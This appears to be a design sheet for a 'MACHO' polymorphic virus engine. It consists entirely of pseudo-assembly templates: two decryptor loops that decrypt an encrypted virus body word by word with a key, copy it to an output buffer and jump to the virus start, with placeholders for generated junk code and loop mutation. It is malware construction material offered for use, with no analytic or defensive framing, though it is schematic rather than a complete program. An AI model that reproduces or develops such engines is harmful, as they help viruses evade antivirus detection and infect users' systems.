
============================================================================
"MACHO" polymorphic engine

version: 1.00
uses:    PRCG (polymorphic cycle generator)
         ETG (executable trash generator)

============================================================================
[DECRYPTOR]

[CYCLE1]
        [PRCG]
        mov     index, 0
cycle:
        [ACTION]
        add     index, 4
        cmp     index, virsize
        jne     cycle
        [JMPVIR]

[CYCLE2]
        [PRCG]
        mov     index, virsize
cycle:
        sub     index, 4
        [ACTION]
        cmp     index, 0
        jne     cycle
        [JMPVIR]

[ACTION]
        mov     a, index
        add     a, const-virinput
        mov     t, [a]
        cmd     t, const-key
        mov     b, index
        add     b, const-viroutput
        mov     [b], t

 [JMPVIR]
        mov     x, virstart
        [PRCG]
        jmp     x
============================================================================
